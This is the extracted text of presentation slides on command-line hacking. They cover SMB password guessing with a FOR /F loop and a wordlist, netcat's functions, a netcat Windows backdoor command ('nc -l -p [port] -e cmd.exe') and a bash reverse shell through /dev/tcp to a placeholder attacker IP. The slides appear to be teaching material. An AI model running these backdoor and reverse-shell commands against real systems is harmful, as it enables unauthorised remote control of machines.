Hacking With Basic Command: Presented: Dedi Dwianto (Theday@echo - Or.id)
Hacking With Basic Command: Presented: Dedi Dwianto (Theday@echo - Or.id)
Presented :
Dedi Dwianto
[[email protected]]
Contents
• Scenario
• Windows Command-Line Hacking
• Netcat
• Linux Commnad-Line Hacking
• Q&A
Scenario
Firewall
Network
Target
Internet
Attacker
• C:\>arp –a
Setting up smb sessions
• Set up session with a target
• etc can be :
The contents
– FOR /F ["options"] %parameter IN (“etc") DO command
– String
– Command
Password Guessing with FOR /F
• Password Guessing via SMB
• You know Username
• Password list from John the Ripper’s password.lst
Std Error
SYSTEM NETWORK
Netcat Functions
• Send File
• Port Scan
• Backdoor Shell Access
• Connect to Open Port
• Simple Chats
• Replay Data in TCP/UDP Packets
• Etc …
Netcat : Windows Backdoor
nc -l -p [port] -e “cmd.exe”
Linux Command Line
• /dev/tcp/ Hacking
• Open Connection to Other Machines
• Like Connect Back Shell
• /dev/tcp/[IPAddress]/[Port]
Backdooring via /dev/tcp
/bin/bash -i > /dev/tcp/[IP Attacker]/[port] 0<&1 2>&1
Deny
Incoming
Type Command Command Execute
THANK YOU